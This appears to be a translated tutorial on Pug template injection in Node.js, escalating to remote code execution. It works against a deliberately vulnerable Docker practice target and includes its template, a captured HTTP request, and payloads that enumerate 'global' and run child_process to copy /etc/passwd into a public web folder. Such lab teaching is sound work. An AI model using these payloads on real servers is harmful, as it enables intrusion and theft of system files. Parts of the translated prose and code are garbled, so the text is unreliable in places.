XSS Template Injection and Remote Code Execution

Node.js allows you to run JavaScript outside of the browser. Due to its streamlined, fast, and cross-platform nature, Node.js can greatly simplify projects by unifying the stack. Although Node.js is not a web server, it allows servers (things that can be programmed in JavaScript) to exist in environments outside of the actual web client.
As Node.js becomes more and more popular, its security issues are the focus of hackers and security researchers.

Template engine

Template engine allows (website) programs to achieve interface and data separation, business code and logic code separation, which greatly improves development efficiency, good design also makes code reuse easier.

Pug is a robust, flexible, and feature-rich HTML template engine developed specifically for the Node.js platform. Pug was renamed from Jade. Pug writes code by indentation (representing the nested relationship between tags). During the compile process, there is no need to consider whether the tag is closed or not.

This is the official website of pug, you can take a look at its syntax: https://www.pugjs.cn/api/getting-started.html.

Template injection

The server level accepts user input as part of the web application template, allowing the underlying template to be modified and the template engine to execute malicious content inserted by the user during rendering.

This can be used maliciously in wikis, WSYWIG, or email templates. This rarely happens inadvertently, so it is often misinterpreted as just XSS.

PUG

First, you can download a target drone

1
2
sudo docker pull registry.cn-shanghai.aliyuncs.com/yhskc/chatsys:latest 
docker run -d -p 0.0.0.0:80:80 registry.cn-shanghai.aliyuncs.com/yhskc/chatsys

After running, you can choose one of the PUG XSS types for actual combat. There are five types in total, and each type prompts what the template in the background code is.

You can also download PUG template directly to see what the complete background template code is? I just posted it here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
doctype html
html (long = 'and')
head
meta(charset='UTF-8')
title Chat Support Systems
meta(name='viewport', content='width=device-width, initial-scale=1')
link(href='/stylesheets/stylesNew.css', rel='stylesheet')
script.
var toggle = function(id) {
var mydiv = document.getElementById(id);
if (mydiv.style.display = 'none' || mydiv.style.display = '')
mydiv.style.display = 'block';
else
mydiv.style.display = 'none'
}
body.home
.center
.navigation
.left
.logo
p
img(src='/pics/logo2.png', alt='logo')
| Chat Support Systems
.right
a.link(href='/') Home
|
a.link(href='/chatchannel/1') Chat
br
br
script.
var user3 = #{name3};
script.
var user5 = #{name5};

form(method="get" action="")
br
br
input(type='button', value='Exercise 1', onclick='toggle("ex1");')
#ex1
b Escaped String Interpolation
br
pre.
p No results found for \#{name1}
input(type='text', placeholder='name1' name='name1')
p No results found for #{name1}
br
input(type='button', value='Exercise 2', onclick='toggle("ex2");')
#ex2
b Unescaped String Interpolation
br
pre.
p No results found for ! {name2}
input(type='text', placeholder='name2' name='name2')
p No results found for !{name2}
br
input(type='button', value='Exercise 3', onclick='toggle("ex3");')
#ex3
b Escaped String Interpolation into dynamic inline Javascript
br
pre.
script.
var user3 = \#{name3};
.
.
p No results found for \#{name3}
input(type='text', placeholder='name3' name='name3')
p No results found for #{name3}
br
input(type='button', value='Exercise 4', onclick='toggle("ex4");')
#ex4
b Unescaped buffered code
br
pre.
p!= 'No results found for '+name4
input(type='text', placeholder='name4' name='name4')
p!= 'No results found for '+name4
br
input(type='button', value='Exercise 5', onclick='toggle("ex5");')
#ex5
b Escaped String Interpolation into escaped dynamic inline Javascript
br
pre.
script.
var user3 = \#{name5};
.
.
p No results found for \#{name5}
input(type='text', placeholder='name5' name='name5')
p= 'No results found for '+name5
br
br
input(type='submit', value='Submit')
include footer.pug

We can refer to this official doc to see how this template syntax is used: https://www.pugjs.cn/language/interpolation.html

String embedding, translation

This is the name3 exercise, that is, ‘script.var user3 = #{name3};’, the official doc says:

The code inside #{and} will also be evaluated, escaped, and finally embedded in the rendered output of the template. It can be any correct JavaScript expression, you are free to play around with it. Pug is smart enough to figure out where the end of the embedded expression is, so you don’t have to worry about} in the expression, and you don’t need extra escaping. If you need to represent a #{text, you can escape it or generate it with the embedding function (yes, this is very metaprogramming).

Then we enter a piece of’alert (1) ', then this piece of code can be successfully executed

String embedded, not translated

This is an exercise for name2, that is, here’No results found for! {name2} ', where name2 is untranslated and can be injected with any code.

RCE (Remote Code Execution)

The program does not detect input properly, allowing attackers to execute unexpected code or system commands. This allows attackers to obtain Webshell and gain control rights over the host. It must be looked for in every intrusion and web application penetration test.

In the Node.js project, JavaScript is used as the development language. If there is a template injection vulnerability, it will often be upgraded to RCE (Remote Command Execution).

Principle

To get shell execution, we have to find the right function to execute in Node/JavaScript.
In JavaScript, there is a special object called Global Object, which and all its properties can be accessed anywhere in the program, namely global variables.
In browser JavaScript, usually window is a global object, while the global object in Node.js is global, and all global variables (except global itself) are properties of the global object.
We will identify the root node of our own global object, and then proceed to determine which modules and functions we can access. We ** In Pug, the “=” character allows us to output JavaScript results. **

Shell execution

You want to eventually import child_process using the Require function to run operating system commands.

In the drone container we just downloaded, select DirectMessage.

Then try to send a normal request based on the usage page, and use Burp to fetch the request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /ti?user=123&comment=123&link=123 HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/directmessage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: donotdecodeme=eyJtb2R1bGUiOiJub2RlLXNlcmlhbGl6ZSJ9; connect.sid=s%3AVU1ANHOw6j5S8Ygfy1tLdf3AczQ39l62.PhsSveuhXOGInftaGxO4Nk7GowYsYOUH9EtCzAopQsY
Connection: close

This is the returned raw.

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 94
ETag: W / "5e-J9rgth9jWBVgwNEi1Bjz4VVG + F8"
Date: Tue, 21 Sep 2021 02:59:09 GMT
Connection: close

<meta http-equiv="refresh" content="3;url=/directmessage"/><p>Message has been sent to 123</p>

This is the request caught by burp. You can see that the content of our user is rendered by the pug in the background. We try to execute a piece of code here to make the user ‘= 8 * 8’. Here, we need to use the encoder of burp to perform url encoding and then put it in.

After trying, we found that it can indeed be executed and returned 64, which means that this code has an xss injection vulnerability, where we can execute any code we want.

Note that the following code is written in the original form, and you need to code it first when injecting it.

1
2
each val,index in global
p=index

After this code is injected, each attribute of the global variable will be output as a p tag, and we can obtain all the attributes.

Then gradually search, we will find’global.process.mainModule.require ', which is the require statement we used, and then we can construct such a code

1
2
var x = global.process.mainModule.require
x('child_process').exec('cat /etc/passwd >> /opt/web/chatSupportSystems/public/account.txt')

In this way, when we access the account.txt file again, we can get all the passwds.

How to quickly find code vulnerabilities in template engines

You can use tplmap to find vulnerabilities, similar to sqlmap.